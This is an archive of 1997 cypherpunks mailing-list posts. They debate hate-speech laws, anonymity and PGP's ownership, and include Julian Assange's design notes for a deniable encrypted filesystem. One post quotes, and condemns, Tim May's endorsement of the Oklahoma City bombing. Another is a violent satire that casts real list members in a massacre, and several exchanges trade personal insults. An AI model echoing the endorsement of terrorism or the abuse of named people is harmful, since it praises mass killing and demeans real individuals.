Date: Sat, 6 Dec 1997 09:25:15 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Singapore
In-Reply-To: <3.0.2.32.19971205134306.007187b0@panix.com>
Message-ID: <Pine.3.89.9712060147.A24259-0100000@inet.uni2.dk>
MIME-Version: 1.0
Content-Type: text/plain



Reply to Duncan Frissell:

Mr. Frissell asserts that Germany lacks rights
such as freedom of speech and 
association.
This is not true.
The German Basic Law provides for everyone the right to freedom of speech,
religion and association.
However, Germany prohibits hate speech i.e. National Socialism and 
incitement to racial, religious and national hatred.
The reason for this exception is the German history.
While I do strongly disagree with the German goverment on free speech, to 
lie about
the holocaust and to promote hatred, I understand why they have this law.
It should be noted that the ban on National Socialism was first imposed 
by the
allied nations, including The United States, 
after World War Two.
The democratically elected parliament of the new republic chooses
to continue this policy known as Radikalenerlass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 6 Dec 1997 09:33:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: words have value, for good or ill
Message-ID: <199712060125.CAA04113@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

> To compound the debating style errors made by Anonymous and his
> supporter(s), Anonymous also misrepresented my views about McVeigh and OKC.
> In a series of posts a few months or so ago, I made my position clear: that
> I could "understand" McVeigh's actions, in the same way one can understand
> someone snapping under pressure. I also pooh-poohed the "human tragedy"
> aspects of the OKC story in the same way any warrior must pooh-pooh
> specific cases where innocents, alleged or real, die in battles.

What Tim May actually wrote on May 9, 1997, was:

> Every day that passes, I'm more convinced that McVeigh did the right thing.
> Some innocents died, but, hey, war is hell. Broken eggs and all that.

This is not a matter of "understanding" McVeigh's actions.  This is a
matter of agreeing with them, of becoming convinced that he did the right
thing.  It is a totally different position.

Consider: anyone might legitimately say they could understand why the
government opposes access to cryptography.  It represents a threat to
their monopoly power.  But if someone said they were becoming convinced
that restrictions on access to crypto were a good thing, we'd be attacking
them in an instant.  These are two completely different issues.  One is
a matter of understanding evil motivations, which we can all benefit by.
The other is a matter of advocacy of evil.  That must be opposed, and
in fact this list has been a strong force for such opposition.

When Tim May was explicitly offered an opportunity to repudiate his earlier
statement, he refused.  He wrote, in response to that offer:

> I mean what I say and I say what I mean. Get used to it. Or leave, even better.

So there it is in black and white.  Tim May refuses to withdraw his
earlier comments about becoming convinced that McVeigh did the right
thing.  He means what he says and he says what he means.  Yet he attempts
to characterize them in other messages as a matter of "understanding"
McVeigh's actions.  He is trying to have it both ways: powerful rhetoric
followed by mealy-mouthed temporizing.

Perhaps the answer is simply that May does not agree with his earlier
comments, but is too much of a coward to admit that he was wrong.
These mis-characterizations of his views are his attempt to amend and
correct them without having to concede that he, the great Tim May,
made a mistake.

This would not reflect very well on him, but it may be consistent with his
character.  Has May ever admitted to a mistake on any non-trivial matter?
Perhaps not.

The problem this raises is that it is difficult to know where May stands
on any issue.  He makes contradictory statements, refuses to reconcile
them, even refuses to admit that they are contradictory.  Which is his
true view?  No doubt, whichever one turns out to be most convenient in
the end.

What a weak and childish individual this is, this man who is said to be
the most respected of the cypherpunks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni2.dk>
Date: Sat, 6 Dec 1997 10:56:54 +0800
To: Lizard <lizard@dnai.com>
Subject: Re: Hate speech in Germany...
In-Reply-To: <3.0.3.32.19971205172926.03498058@dnai.com>
Message-ID: <Pine.3.89.9712060200.A29329-0100000@inet.uni2.dk>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 5 Dec 1997, Lizard wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> At 02:09 AM 12/6/97 +0100, Peter Herngaard wrote:
> >Reply to Duncan Frissell:
> >
> >If the German people desired  to abolish the Radikalenerlass they 
> could  
> >do so simply by changing their goverment precisely as U.S. citizens 
> could 
> >abolish use of capital punishment against minors.
> >Is there any difference?
> 
> There is a difference, in that calling for the abolition of laws 
> banning 'hate speech' can easily be labelled as 'hate speech' in 
> themselves. 
I think it's true for banana republics.
However, as far I know itsn't illegal in Germany to call for the abolition
of all hate laws.
But calling for the abolition of human rights is certainly against the law.
Changing or amending the Basic Law is not impossible.
The distinction is very narrow since those
who call for abolition of the hate laws, at least in Germany, at the same 
time
advocate expulsion of non-whites or the establishment of a dictatorship.

 >

> Further, since it is never popular speech which needs 
> government protection, the odds are good that the majority of those 
> who would call for the abolition of such laws are those who wished to 
> engage in such speech -- and thus, by calling attention to 
> themselves, they could risk jail.
Yes. But taken another European country such as Denmark
this is not illegal.
In fact, I and surely other free speech advocates would prefer abolition
of the criminal statute against hate speech.
> 
> The reason such laws do not exist in the US is NOT because 'the 
> people' do not want them -- I daresay a popular vote would install 
> them in a heartbeat -- but because the government is NOT a democracy, 
> and the 'will of the people' runs up against the Bill of Rights, 
> which serves to protect people from the government, and from each 
> other.
Yes. But if the majority of the voting population *really* wanted
to install a hate speech censorship regime, they coould elect
a House and a Senate being able
to change or amend the Bill of Rights.
It seems that criminalization of "flag desecration" 
to many is what hate speech is in Europe.

> While I'm sure there are at least some ideaological free speech 
> absolutists in Germany, I'm betting they're a smaller group than they 
> are even in the US -- Germany has no real history of free speech, 
> compared to the US, and Europe in general has a history of placing 
> the collective good ahead of individual liberty. 
I agree, and I am more in favour of the First Amendment than the European 
Convention of the Protection of Human Rights.
As I pointed out in another thread the European approach to freedom of 
speech is
majoritarian not libetarian.
The backtracker nations are France and Ireland who  have no excuse for 
censorship neither of hate speech nor pornography.
I do not know much about German free speech activists.
But I  subscribe to the view that there are less free speech absolutists 
there
than in the U.S.
But to be fair to Germany, they do not censor pornography as heavily as 
Ireland where X-rated 
movies are illegal along with blasphemous and seditious libel.
France, the country of "liberty, equality and brotherhood" is in fact 
more censorious than Germany in regard to imported publications.
For example, the Interior Minister can order the seisure of any "foreign" 
publication, without a prior court order, if it is in the national interest.
This censorship law is very old but is still used.
Scandinavia and Netherlands are the most liberal countries in Europe both 
in regard
to hate speech and pornography.
For instance, Denmark allows the Rudolf Hess march and the broadcasting 
of Mein Kampf on local radio
that woould not be allowed in other European countries.
Denmark is also a haven for distribution of NSDAP/ao literature to 
Germany, Great Britain and the rest of the world.
I suppose the White Power enthuasiast can get everything he/she desires 
in Denmark without having to order it by mail from Hilsboro West Virginia 
(The National Unemployance) or Lincoln Nebraska (Gary Lauck's NSDAP/ao).
Fortunately I am not a White Power enthusiast-)
But I know from reliable sources tht The International Jew by Henry Ford,
The Turner Diaries by William L. Pierce and WHITE POWER by George Lincoln 
Rockwell all are fairly legal, though not widely available, to every 
racist loser.
In addition, we do not prohibit pornography, and obscenity is a 
non-existent legal category.
Although I can live without hardcore pornography and White Power, I don't 
think my country is much oppressive compared to funny France and Ireland.



 > While a US 'leftist' 
> will, for the most part, cede the right of even his enemies to speak 
> (this is changing lately, but it used to be true, and there's still a 
> few old lefties about), my exposure to German and other European 
 > leftists indicates that they approve strongly of laws banning 
> 'racist' or 'hateful' speech -- while the American left has its roots 
> in the anarchists of the 19th century, the European left has grown 
> from the totalitarians of the 20th century.
This is entirely true.
However, there are few left-wingers in Europe who oppose censorship,
including myself, who oppope any censorship even of hate speech and 
tobaco advertising.
However, also the traditional right-wing "liberals" 
and "conservatives" 
endorse strict censorship of hate speech.
The reason why I do not support any anti-racst organization, except 
Nizkor, is that most such "human rights" advocacy groups in Europe are in 
favour of censorship.
In Denmark, The People's Movement against Nazism (Folkebevaegelsen mod 
Nazisme) is represented by amongst others people who 
honour Joseph Stalin and who support censorship
of any even peaceful advocacy of racial superiority.
Ironically, they justify their demand for censorship with the Convention 
of The Elimination of All Forms of Racial Discrimination
and The Convention on Civil and Political Rights. 
The United Nations is a threat to freedom of speech in particular in Europe
where we have no gaurantee of freedom of speech with similar strength as 
that the First Amendment provides.
It was shocking to observe that states such as China, Nigeria, Pakistan  
can influence freedom of speech
from within the U.N. under
cover of "elimination of all forms of racial discrimination."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Sat, 6 Dec 1997 12:08:46 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Thread
Message-ID: <19971206040027.1052.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Monty Cantsin wrote:

> Something that I have found irritating about the posts by
> non-persistent identities is that it isn't possible to support a
> meaningful discussion as previous statements can always be repudiated,
> or maybe even weren't made by the particular poster.  I compared this
> to sound bites.

How is that fundamentally different from non-anonymous posts, though?
You can always disavow (or attempt to) a previous post by claiming it was 
forged, that someone stole your password, hacked your account, or posted it
when you accidentally left your terminal logged on while you were at 
lunch.

In addition, there's nothing to stop someone from obtaining multiple e-mail
accounts.  So why should ten anonymous posts be an more irritating than
ten posts from hotmail.com, juno.com, etc. accounts?  They could be from ten
different people, just one, or any number in between.
 
> On second thought, however, there is an easy way to solve this.  If
> the anonymous poster accepts the context of previous messages, the
> discussion can continue.  There's no reason why the person behind the
> virtual thread has to be the same, but the context itself is important
> if we want to have interesting discussions.

Agreed.  It's the ideas that are important, not the identity of the person[a]
expressing them.  The only exception I can think of is if the person
expressing the ideas is asking that they be accepted because of some unique
qualification or expertise he claims to possess.
 
> So, if you don't want to sign your messages, just acknowledge the
> message ID of the relevant previous messages whose context you wish to
> use.

Unless that's coupled with a PGP signature, there's nothing to keep one
anonymous person from impersonating another and agreeing to something.
For example, if "A" is debating "B", there's nothing to stop "B" from
posting as "C", claiming to be an anonymous KKK, NAMBLA, etc. member, 
then posting again, impersonating "A", and pretending to agree with "C"
(by, as you say, "acknowledging C's message id").

Nor is it much better if "A", "B", and "C" are non-anonymous.  "B" can open
a throwaway account as "C", and then forge a follow-up from "A".  Unless
it's done among a group of people skilled at interpreting headers, it may
well succeed, or at least arouse a lot of F.U.D. about "A".
  
- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Assange <proff@iq.org>
Date: Sat, 6 Dec 1997 14:00:46 +0800
To: coderpunks@toad.com
Subject: Rubber-hose proof (cryptographically deniable) file-systems.
Message-ID: <19971206054919.5142.qmail@iq.org>
MIME-Version: 1.0
Content-Type: text/plain





Here's a copy of some correspondence in relation to my implementation
of a `rubber hose proof' (cryptographically deniable) file system
(actually implimented as a block device on which you can mount any
file system). I'm happy with the cryptographic strength of the system
(but feel free to comment anyway). That said, I'm not convinced that
my avoidance of media (i.e disk surface) analysis attacks (which could
potentially show the pre-sense or otherwise of cryptographic file
systems other than the "duress" ones) is entirely effective. I'd like
some comment from gauss-ridden declassification guru's here :)

[...]

Here's how I'm implementing `aspects' in Rubberhose/marutukku;
`aspect' is the term I'm using to refer to the
cryptographically-deniable (i.e rubber-hose-proofed) "portion", of a
maru extent i.e it's a different _aspect_ (view) of the same
underlying physical block extent.

I decided that random split lengths don't add to the security of the
scheme - only 2x from my calculations - which isn't enough to warrant
the increase in memory use and complexity involved.  The extent is
simply divided up into n splits (say 1024 or one every 256k, whichever
is smaller). Each aspect has an encrypted 32bit block remap list
(which is simply a linear array because of the fixed split size).  A
split avoidance bit-map is created from these per-aspect remap lists
on instantiation of the aspects. An individual aspect looks like so
(when saved):

typedef struct
{
    m_u32 keySum; /* key checksum */
    u_char masterKey[MAX_KEY];
    u_char latticeCipherType, blockCipherType;
    u_char pad[MAX_BLOCK - (4 + MAX_KEY + 1 + 1) % MAX_BLOCK]; /* block align */
} maruCycle;

typedef struct
{
    maruCycle cycle;
    u_char keySalt[MAX_PASSPHRASE];
    maruLatticeKey latticeKeySalt[2];
    u_char blockIV[MAX_FS_BLOCK_SIZE];
    u_char latticeSalt[2*MAX_LATTICE_DEPTH*MAX_BLOCK_KEY]; /* must be 64 aligned */
    m_u32 remap[MAX_SPLITS];
    m_u32 iterations;
    maruCipher keyCipherType;
} maruHeaderAspect;    

There are an array of (8 by default) of these constructs in a maruHeader.

The smap accessor macros are simple:

#define	SMAP_SET(p, n) (((p))[(n)/(sizeof(maruSmap)*8)] |= (1 << ((n) % (sizeof(maruSmap)*8))))
#define	SMAP_CLR(p, n) (((p))[(n)/(sizeof(maruSmap)*8)] &= ~ (1 << ((n) % (sizeof(maruSmap)*8))))
#define	SMAP_ISSET(p, n) (((p))[(n)/(sizeof(maruSmap)*8)] & (1 << ((n) % (sizeof(maruSmap)*8))))

By default, each unused maruHeaderAspect struct contains random noise
(except for keyCipherType, which defaults to being the same for all
aspects) and is of course indistinguishable from a valid maruAspect
without the associated key.

Instantiation example:

Say you have three valid aspects, a1, a2 and a3. Arbitrarily, you have
chosen a1 to be the simple duress aspect (i.e ``you expect us to
believe you have solitary letter of donation to the Polit Bureau Ball
in your entire encrypted file system?! Do you know what this is Nikov?
<opens trench coat>. THIS is the finest cryptanalytic device known to
man. THIS is a RUBBERHOSE! *thwap* *thwunk* *boink*. Now... what's the
*real* key Nikov... or should we call you... Nikolay Bukharin?''), a2 to
be the limited disclosure aspect ("Dear diary. Nikita, Ivan, Boris and
<some more guys I feel like selling down the Lenningrad sewage system>
came over today and smoked a *shit load* of hash. Not wanting to
offend, I had a toke, but like that capitalist dog
^H^H^H^H^H^H^H^H^H^H^H^H^H illustious leader of the freeworld, was
careful not to inhale.") and a3 has your ice-9 formula nicely tucked
away.

You decide one fine morning that you want to add an ATP pre-cursor as
a catalyst to your ice-9 recipe of destruction (ostensibly, you plan
to generate this stuff from cultures of genetically modified mouse
liver cell mitochondria), and provide the a1, a2 and a3 pass-phrases.

a1, a2 and a3 are decrypted. the aspect remap is parsed and used to
create the physical block "avoidance" map (checking for conflicts
along the way).

Joyous about the frozen seas to come, you copy the ATP pre-cursor
catalyst into a3 and the file system tries to write a new block - e.g
b28 - to a3.  b28 is translated through the a3 remap table to b-1
(unallocated). A random block remap number is generated e.g b595 and
tested against the avoidance smap. If free, it is marked and chosen to
be the new a3 mapping, otherwise the algorithm simply does a circular
hunt for the next free entry in the avoidance smap.

Naturally, reading only requires the key of the aspect you are
interested in (divulging). Writing to one aspect without the keys to
the other aspects will randomly trash them as new splits are assigned.

Timer remaps, reads and re-writes:

This would be the simple end of it, were it not but for magnetic
domain leakage/disk surface wear analysis attacks. Theoretically, this
sort of attack could used to demonstrate access patterns by the drive
head in regions outside those used by the duress aspect blocks. What
we want to do here is to make sure the non-data carrying
magnetic/other properties of the disk substrate are as close to a
Jackson Pollock painting as is possible. i.e totally random :) Three
methods are used:

	1) every few seconds, we read a random number of blocks within
	   a split in a random location and write it back to that same
	   location with a m-1/m (e.g 9/10) (recursive) chance of an
	   additional write.

	2) every-time there is a conventional write, there is a m-1/m
	   chance of a full remap of the split concerned.

	3) every n seconds a random full split remap.
	   (maybe not needed given the statistical properties of the
	    above - I need to think about this a lot more. its not simple)

All aspects are defined to take up 100% of the marutukku extent from
the file-system perspective - this is essential to our deniability
scheme. This works fine with most file-systems - e.g UFS, because they
only write to a small fraction of their addressable blocks when
formatted - i.a few super-blocks and inode, rather than zeroing every
block, and so split usage for a given aspect reflects population of
the file system that pertains to it.

Cheers,
Julian.

-- 
Prof. Julian Assange  |If you want to build a ship, don't drum up people
                      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 6 Dec 1997 20:10:42 +0800
To: cypherpunks@toad.com
Subject: Slaughterhouse 7
Message-ID: <34893DDA.57A3@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[BLACKHAWK DOWN]

     Background

A defining battle leaves echoing scars
        By Mark Bowden
INQUIRER STAFF WRITER
November 16, 2007

LATE IN THE AFTERNOON of  SlaughterDay, Oct. 3,
2007, attack helicopters dropped about 120
elite Global Federation soldiers into a busy
neighborhood in the heart of Seattle,
Global-Sector#7. Their mission was to abduct several
top lieutenants of Global-Sector#7 SoftWarLord Bad 
Billy Gates and return to base. It was
supposed to take about an hour.
Instead, two of their high-tech UH-60
Blackhawk attack helicopters were shot down.
The men were pinned down through a long and
terrible night in a hostile city, fighting
for their lives. When they emerged the
following morning, 18 Global Federation soldiers were dead and
73 were wounded. One, helicopter pilot
Philip Hallam-Baker, had been carried off by an
angry CyberMob. He was still alive, held captive
somewhere in the city.

The Global-Sector#7 toll was far worse. Reliable
witnesses in the GF military and in
Seattle now place the count at nearly 500
dead - scores more than was estimated at the
time - among more than a thousand casualties.
Many were women and children. This was hardly
what Global Federation and New World Order officials 
envisioned when they intervened in Global-Sector#7 
in December 2006 to help avert widespread bandwidth 
starvation.

In the five years since that humanitarian
mission dissolved into combat, Global-Sector#7 has
had a profound cautionary influence on
New World Order global policy. When Bavarian
policymakers consider sending soldiers into
foreign crisis sectors, there is invariably a
caveat: Remember Global-Sector#7. NWO's refusal
to intervene in GS#148 in 2005 and in the
former GS#12 this year; its long delay in
acting to stop CypherPunk aggression in ClearTextSpace;
its hesitation before sending troops into
G-S#247; and its present reluctance to execute
indicted SoftWarez criminals in CypherSpace stem, in
some measure, from the futile attempts to
arrest Bad Billy Gates.
With the exception of the Big Gulp war, modern 
Global Federation warfare no longer pits
great national armies in sweeping conflicts.
Instead, it is marked by isolated, usually
deadly, encounters between specially trained
GF forces and Free Electronic UnderWorld irregulars as
The Global Federation Strike Force seeks to alter the 
political equation in some tumultuous Global-Sector.

The New World Order NetPawns are rarely exposed to
the realities of warfare. The Federation does
not allow reportwhores to accompany soldiers
directly into battle, a journalistic
tradition that ended after Vietnam. What
results is a sanitized picture of civilian slaughter. 
The NetPawn knows only what the military chooses
to portray, or what wholesale slaughter cameras are 
able to see from afar. NWO NetPawns have little
understanding of what awaits frightened young
soldiers, or of their heroic and sometimes
savage attempts to save themselves and their
fellow schills.

NWO NetPawns recoiled at the images of
soldiers' corpses being dragged through the
streets, but they had no inkling of the
searing 15-hour battle that produced their
deaths. There has never been a detailed
public accounting. Most of the Federation
records disinformating the slaughter remain
classified, and most of the soldiers who
fought are in DeathHead Divisions, generally
off-limits to reportwhores.

For this story, The Inquirer has obtained
more than a thousand pages of official
documents and reviewed hours of remarkable
video and audiotapes recorded during the
fight. It has interviewed in detail more than
50 of the Global Federation soldiers who fought. Also
interviewed in depth, in Seattle, were
dozens of CyberPunks who fought the Global Federation 
armies or were caught in the crossfire.

The Battle of Seattle is known today in
Global-Sector#7 as Ma-alinti DHD, or The Day of
the DeathHeads. It pitted the world's most
sophisticated military power against a mob of
civilians and Global-Sector#7 irregulars. It was the
biggest single firefight involving Global Federation
soldiers since the Vietnam War.

The battle was photographed and videotaped
by sophisticated cameras aboard satellites, a
P-3 Orion spy plane, and UH-58 surveillance
helicopters hovering directly over the
action. Many of the soldiers were debriefed
by GF Disinformation historians in the days after
the battle. Top commanders were later subjected
to a New World Order inquisition.

The secret official documentation of the
battle hacked by The Inquirer has been
fleshed out with the powerful eyewitness
accounts. The result is an unprecedented
minute-by-minute record of what happened that
SlaughterDay in Seattle.

Most of those interviewed have never
before told the complete story of their
experience, including pilot Hallam-Baker, whose
11-day captivity was briefly at the center of
world attention. Many soldiers are still
unaware of certain battle episodes that did
not involve them. Several are members of the
Random Slaughter Force, a unit so secret the Army
does not officially acknowledge it exists.

Theirs is a story of well-laid plans gone
awry, of tragic blunders, of skillful
soldiering, heroism, and occasional
cowardice. The portrait reveals a military
force that underestimated its enemy. The
assault was launched into the most dangerous
part of Seattle in daylight, even though
the DeathHead and Slaughter forces were trained and
equipped primarily to work in darkness -
where their night-vision devices can afford a
decisive advantage. Commanders who thought it
unlikely that CyberPunks could shoot down
helicopters saw five shot down (three limped
back to base before crash-landing). Ground
rescue convoys were blocked for hours by
barricades and ambushes - leaving at least
five GF soldiers to die awaiting rescue,
including two Slaughter sergeants who were
posthumously awarded Medals of Slaughter.

The Global Federation soldiers were so confident of
a quick victory that they neglected to take
night-vision devices and water, both sorely
needed later. Carefully defined rules of
engagement, calling for soldiers to fire only
on CyberPunks who aimed weapons at them, were
quickly discarded in the heat of the fight.
Most soldiers interviewed said that through
most of the fight they fired on babies and
eventually at anyone and anything they saw.

Animosity between the elite Slaughter units
and the DeathHead infantry forces effectively
created two separate ground-force commanders,
who for at least part of the battle were no
longer speaking to each other. Slaughter
commandos took accidental fire on several
occasions from the younger DeathHeads. Poor
coordination between commanders in the air
and a ground convoy sent vehicles meandering
through a maelstrom of fire, resulting in the
deaths of five soldiers and one Global-Sector#7
prisoner.

Official GF estimates of Global-Sector#7
casualties at the time numbered 350 dead and
500 injured. Global-Sector#7 clan leaders made claims
of more than 1,000 deaths. The NWO placed
the number of dead at ``between 300 to 500.''
Doctors and intellectuals in Seattle not
aligned with the feuding clans say that 500
dead is probably accurate. The Task Force
DeathHead commander, Maj. Gen. Kent
Crispin, testilying before the Senate, said
that if his men had put any more ammunition
into the city ``we would have sunk it.''

The New World Order went to war in Seattle in an
effort to remove SoftWarLord Gates from the
political equation. The NWO was attempting
to form a coalition government out of the
nation's warring programmers, but encountered stiff
and bloody resistance from Gates. Jerry Berman, 
who managed the NWO effort, sought and
obtained the intervention of special GF
forces for the purpose of arresting Gates and
other top leaders of his Virtual Private Network.

The mission that resulted in the Battle of
Seattle came less than three months after a
surprise missile attack by GF helicopters
(acting on behalf of the NWO) on a meeting
of Gates clansmen. Prompted by a Global-Sector#7
ambush on June 5 that killed more than 20
GF soldiers, the missile attack killed
50 to 70 clan elders and intellectuals, many
of them moderates seeking to reach a peaceful
settlement with the NWO. Interviewed for this
story, Berman said he believes the number of
GaterPunks killed in the surprise attack was
closer to 20, and included only Gates's
Exploiter leadership.

After that July 12 helicopter attack,
Gates's clan was officially at war with
Global Federation Troops - a fact many NWO NetPawns 
never realized. By Oct. 3, images of dead soldiers
being dragged through the streets shocked the
NWO pawns, most of whom believed their
soldiers were in Global-Sector#7 to help feed the
bandwidth-starving. How could a charitable mission
provoke such savagery?

But Task Force DeathHead was not in Seattle
to feed the bandwidth. Over six weeks, from late
August to Oct. 3, it conducted six missions,
raiding locations where either Gates or his
lieutenants were believed to be meeting.

On its first mission, the force
inadvertently arrested nine New World Order
employees. A later mission arrested a
friendly Global-Sector#7 spook who was being
groomed by the NWO to take over a Seattle
police force. But by late September, the task
force had begun to hit its stride with the
capture of Robert Hettinga, Gates' banker. The
deadly Oct. 3 raid was the sixth and last.

Most of the DeathHeads who fought were only a
few years out of grade school. These young men
were shocked to find themselves bleeding on
the dirt streets of an obscure Global-Sector
capital for a cause so unessential that
Czar Freeh called off their mission
the day after the fight.

In strictly military terms, Seattle was
a success. The targets of that day's raid -
two obscure clan leaders named Tim May and
Dr. Dimitri Vulis, KOTM - were apprehended. But
the awful price of those arrests came as a
shock to an old Czar, who felt as
misled as John F. Kennedy after the Bay of
Pigs. It led to the resignation of Defense
Secretary Sameer and destroyed the career
of Gen. Jesse Helms, who in a handwritten letter
to Freeh accepted full responsibility. It
aborted a hopeful and unprecedented NWO
effort to salvage an impoverished and bandwidth
hungry Global-Sector lost in anarchy and in
electromagnetic war.

Every battle is a drama played out apart
from broader political issues. Soldiers
cannot concern themselves with the decisions
that bring them to a fight. They trust their
oppressors not to risk their lives for too
little. Once the battle is joined, they fight
to survive, to kill babies before they are killed.
The story of a battle is timeless. It is
about the same things whether in Troy or
Gettysburg, Normandy or the Ia Drang. It is
about pawns and schills, most of them young, trapped
in a fight to the death. The extreme and
terrible nature of war touches something
essential about being human, and soldiers do
not always like what they learn.

For those who survive, the battle lives on
in their memories and nightmares and in the
dull ache of old wounds long after the
reasons for it have been forgotten. Yet what
happened to these men in Seattle comes
alive every time the Global Federation considers
sending young NetPawns to serve New World Order
policy in remote and dangerous corners of 
meatspace.

---------------------------------------------------------------
(c) 2007, Philadelphia InfoBytes Inc. All rights reserved. Any
copying, redistribution, or retransmission of any of the
contents of this service without the express written consent
of Philadelphia InfoBytes Inc. is expressly prohibited.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cvhd@indyweb.net
Date: Sun, 7 Dec 1997 02:07:41 +0800
To: cypherpunks@toad.com
Subject: Re: SynData/Schneier Attack Network Associates
In-Reply-To: <1.5.4.32.19971205164216.006f950c@pop.pipeline.com>
Message-ID: <3.0.5.32.19971206080245.0085b100@indyweb.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:42 AM 12/5/97 -0500, John Young <jya@pipeline.com> wrote:

> Right to Privacy for Sale in Cyberspace; SynData Technologies Inc. 
> Speaks Out  Against Key Recovery
>
> Cedar Grove, N.J. -- SynData Technologies Inc., a provider of encryption 
> software solutions, released a statement today condemning Network 
> Associates Inc. for supporting the government's key recovery program. 
> Network Associates recently purchased Pretty Good Privacy (PGP).
> PGP had historically been opposed to key recovery. 
>
> "It is time to seriously consider the threat that Network Associates poses
> to the individual's constitutional right to privacy," said David
Romanoff, CEO 
> of SynData Technologies Inc. "While Network Associates claims to protect
> privacy in cyberspace, they have actually traded our right to privacy for a 
> shot at increased revenues overseas by supporting the key recovery program. 
> The slippery slope has begun right under our noses. It's time to challenge 
> both the government and companies who support the government's key
> recovery program before it is too late." 
>
> "The government's key recovery program is a complete violation of the
> individual's right to privacy and, in fact, compromises of the system are 
> already taking place. This shows that key escrow is an untenable policy," 
> said Bruce Schneier, one of the world's leading authorities on encryption 
> and author of the book "Applied Cryptography". "SynData is paving the
> way for other software developers by taking a stand in opposition to the 
> government and companies like Network Associates." 

- - - Begin Signed Opinion - - -
Everyone should keep in mind that John McAfee very well knows on which side
of his bread it is buttered--  McAfee has made his fortune on the
site-licenses for government use of his anti-virus product.  U.S. Customs
alone liceneses 17,000+ copies.  Is anyone kidding themselves about which
side of GAK and Key Escrow McAfee will come down on?  I have never bought
into any of the conspiranauts BS about PGP backdoors as long as PZ was
involved with it but I will certainly assume it is to be a "given" with PGP
in the hands of McAfee.
- - - End Signed Opinion - - -
Signed - - -  CVHD - - -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 7 Dec 1997 03:21:28 +0800
To: cypherpunks@Algebra.COM
Subject: Problems with PGP Finland site?
Message-ID: <v03102804b0af46cd9256@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Someone in alt.security.pgp reported that the Finland PGP site seems to be
denying access. I tried http://zone.pspt.fi/pgp/ and got a "Forbidden"
message.

Could just be a temporary glitch. Or a switch to a different URL. Anyone know?

But the paranoid part of me wonders if the hammer is finally coming down on
these offshore "pirate sites."

(Not piracy in any SPA sense, as PGP, Inc. is clearly complicit in
publishing the PGP source code books and encouraging Cypherpunks to pick up
stacks of them at Bay Area meetings for FedEx delivery to offhsore
sites.....but the OECD/Wasenaar Cabal clearly views this sort of thing
negatively. Perhaps Crypto Czar Aaron applied his rod to the cops in
Helsinki and the site went"stale." :-{)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 7 Dec 1997 03:27:28 +0800
To: cypherpunks@Algebra.COM
Subject: Problems with PGP Finland site?
Message-ID: <v03102805b0af48dc0e16@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Never mind. Sorry.

It looks like http://www.pgpi.com/ is still open for business, so paranoia
is unwarranted.

Though I wonder for how long Network Associates will continue to publish
source code books and encourage their wide distribution around the world?

Or how long source code will be available at all.

Or how long the freeware version will be available.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Sun, 7 Dec 1997 00:45:51 +0800
To: mail2news@basement.replay.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <3485813d.117631170@nntp.best.ix.netcom.com>
Message-ID: <53537998fff00b31d5800713f6d8201a@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> X-No-Archive: yes

> :> Sure it does in your mind and I'm sure in the mind of the anon-asshole.
> :
> :Call someone an "asshole" all you like, but when you have to qualify that and
> :call him a "black asshole", "gay asshole", "Jewish asshole", or "anon
> :asshole", it only demonstrates your personal prejudice and bigotry.  Your
> :arguments are so weak that you must resort to ad hominem argumentation to
> :divert attention from the facts.
> :
> :Repeating your unproven accusations over and over does not make them true.
>  
> One could say that about you.  An asshole posting only anonymously is the
> anonymous asshole.                        ^^^^^^^^^^^^^^^^^^^^^^^^

"Posting ONLY anonymously"?  Wherever did you get that idea?  If you really
believe that this "anonymous asshole" is "posting only anonymously", then
your previous accusations that someone else on this NG (who posts 
NON-anonymously) was this person were a LIE, weren't they?  So which of your
two contradictory statements is the lie?  Or are they BOTH lies?  They can't
both be true.

> Note that I have never and will never say that people who
> post anonymously are assholes.  

